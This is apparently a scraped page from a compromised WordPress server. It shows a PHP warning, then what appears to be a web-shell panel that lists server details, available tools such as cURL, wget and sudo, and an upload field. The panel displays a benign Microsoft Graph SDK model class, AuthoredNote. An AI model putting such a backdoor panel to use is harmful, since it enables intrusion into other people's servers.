Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* AuthoredNote File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* AuthoredNote class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class AuthoredNote extends Entity
{
/**
* Gets the author
* Identity information about the note's author.
*
* @return Identity|null The author
*/
public function getAuthor()
{
if (array_key_exists("author", $this->_propDict)) {
if (is_a($this->_propDict["author"], "\Microsoft\Graph\Model\Identity") || is_null($this->_propDict["author"])) {
return $this->_propDict["author"];
} else {
$this->_propDict["author"] = new Identity($this->_propDict["author"]);
return $this->_propDict["author"];
}
}
return null;
}
/**
* Sets the author
* Identity information about the note's author.
*
* @param Identity $val The author
*
* @return AuthoredNote
*/
public function setAuthor($val)
{
$this->_propDict["author"] = $val;
return $this;
}
/**
* Gets the content
* The content of the note.
*
* @return ItemBody|null The content
*/
public function getContent()
{
if (array_key_exists("content", $this->_propDict)) {
if (is_a($this->_propDict["content"], "\Microsoft\Graph\Model\ItemBody") || is_null($this->_propDict["content"])) {
return $this->_propDict["content"];
} else {
$this->_propDict["content"] = new ItemBody($this->_propDict["content"]);
return $this->_propDict["content"];
}
}
return null;
}
/**
* Sets the content
* The content of the note.
*
* @param ItemBody $val The content
*
* @return AuthoredNote
*/
public function setContent($val)
{
$this->_propDict["content"] = $val;
return $this;
}
/**
* Gets the createdDateTime
* The date and time when the entity was created. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.
*
* @return \DateTime|null The createdDateTime
*/
public function getCreatedDateTime()
{
if (array_key_exists("createdDateTime", $this->_propDict)) {
if (is_a($this->_propDict["createdDateTime"], "\DateTime") || is_null($this->_propDict["createdDateTime"])) {
return $this->_propDict["createdDateTime"];
} else {
$this->_propDict["createdDateTime"] = new \DateTime($this->_propDict["createdDateTime"]);
return $this->_propDict["createdDateTime"];
}
}
return null;
}
/**
* Sets the createdDateTime
* The date and time when the entity was created. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.
*
* @param \DateTime $val The createdDateTime
*
* @return AuthoredNote
*/
public function setCreatedDateTime($val)
{
$this->_propDict["createdDateTime"] = $val;
return $this;
}
}